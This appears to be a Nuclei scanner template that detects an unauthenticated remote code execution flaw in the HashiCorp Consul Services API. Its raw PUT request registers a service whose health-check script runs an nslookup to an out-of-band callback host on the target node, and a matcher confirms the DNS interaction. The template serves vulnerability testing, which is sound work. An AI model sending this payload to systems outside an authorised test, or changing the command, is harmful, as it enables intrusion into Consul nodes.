id: hashicorp-consul-rce info: name: Hashicorp Consul Services API - Remote Code Execution author: pikpikcu severity: critical description: Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to perform remote command execution on Consul nodes. reference: - https://www.exploit-db.com/exploits/46074 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: hashicorp,rce,oast,intrusive,edb http: - raw: - | # Create USER PUT /v1/agent/service/register HTTP/1.1 Host: {{Hostname}} { "ID": "{{randstr}}", "Name": "{{randstr}}", "Address": "127.0.0.1", "Port": 80, "check": { "script": "nslookup {{interactsh-url}}", "interval": "10s", "Timeout": "86400s" } } matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" # digest: 4a0a00473045022100961929119bcf94baa1c9184093fdce9c7e88aea86c1cf9ee3f20cd126220cf7e02205c73432fecd7ad31aa1599e549761c7ba7c210ea0fdc5c4d43bb87fdab015611:922c64590222798bb761d5b6d8e72950